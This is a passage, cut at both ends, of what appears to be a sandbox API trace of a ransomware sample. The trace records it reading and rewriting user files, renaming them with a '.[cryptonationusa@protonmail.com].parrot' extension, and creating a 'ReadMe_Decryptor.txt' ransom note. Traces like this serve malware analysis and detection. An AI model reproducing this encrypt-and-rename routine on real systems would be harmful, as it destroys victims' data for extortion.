hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.247] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.249] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6652e8 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.250] GetLastError () returned 0x0 [0034.250] SetLastError (dwErrCode=0x0) [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.250] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.250] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x650910 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6573f0 [0034.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x650910 | out: hHeap=0x5b0000) returned 1 [0034.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x685328 [0034.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6573f0 | out: hHeap=0x5b0000) returned 1 [0034.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x649228 [0034.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685328 | out: hHeap=0x5b0000) returned 1 [0034.253] WriteFile (in: hFile=0x264, lpBuffer=0x649240*, nNumberOfBytesToWrite=0x15608, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x649240*, lpNumberOfBytesWritten=0x18f4b4*=0x15608, lpOverlapped=0x0) returned 1 [0034.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.254] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15604, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.254] CloseHandle (hObject=0x264) returned 1 [0034.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d18e8 [0034.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.255] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\gRYMF77-6Syq0.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\grymf77-6syq0.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\gRYMF77-6Syq0.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\grymf77-6syq0.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.257] GetFileType (hFile=0x264) returned 0x1 [0034.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.301] lstrcmpW (lpString1="M5SG0Hv.bmp", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\M5SG0Hv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\m5sg0hv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264 [0034.301] GetFileSize (in: hFile=0x264, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0xf18d [0034.301] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf2a5, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.301] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.301] ReadFile (in: hFile=0x264, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0034.302] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.302] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf18d, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xf18d, lpOverlapped=0x0) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.303] GetLastError () returned 0x0 [0034.303] SetLastError (dwErrCode=0x0) [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.303] GetLastError () returned 0x0 [0034.303] SetLastError (dwErrCode=0x0) [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.303] GetLastError () returned 0x0 [0034.303] SetLastError (dwErrCode=0x0) [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x649228 [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.303] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x64d268 [0034.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6552a8 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64d268 | out: hHeap=0x5b0000) returned 1 [0034.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606998 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.307] GetLastError () returned 0x0 [0034.307] SetLastError (dwErrCode=0x0) [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606b58 [0034.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d1760 [0034.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.307] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b4e0 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x606b58 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d18e8 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cc638 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60c798 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc638 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6105c0 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x649228 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x64c1c0 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.309] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6652e8 [0034.309] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x64c1c0 | out: hHeap=0x5b0000) returned 1 [0034.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x649228 [0034.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.310] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6652e8 [0034.310] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x649228 | out: hHeap=0x5b0000) returned 1 [0034.311] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x674320 [0034.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6652e8 | out: hHeap=0x5b0000) returned 1 [0034.313] WriteFile (in: hFile=0x264, lpBuffer=0x674340*, nNumberOfBytesToWrite=0xf2a8, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x674340*, lpNumberOfBytesWritten=0x18f4b4*=0xf2a8, lpOverlapped=0x0) returned 1 [0034.313] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x674320 | out: hHeap=0x5b0000) returned 1 [0034.313] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf2a5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.313] CloseHandle (hObject=0x264) returned 1 [0034.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606b58 [0034.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d18e8 [0034.314] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606b58 | out: hHeap=0x5b0000) returned 1 [0034.314] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\M5SG0Hv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\m5sg0hv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\M5SG0Hv.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\m5sg0hv.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d18e8 | out: hHeap=0x5b0000) returned 1 [0034.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0034.315] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6552a8 | out: hHeap=0x5b0000) returned 1 [0034.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0034.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x606b58 [0034.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.315] RtlAllocateHeap 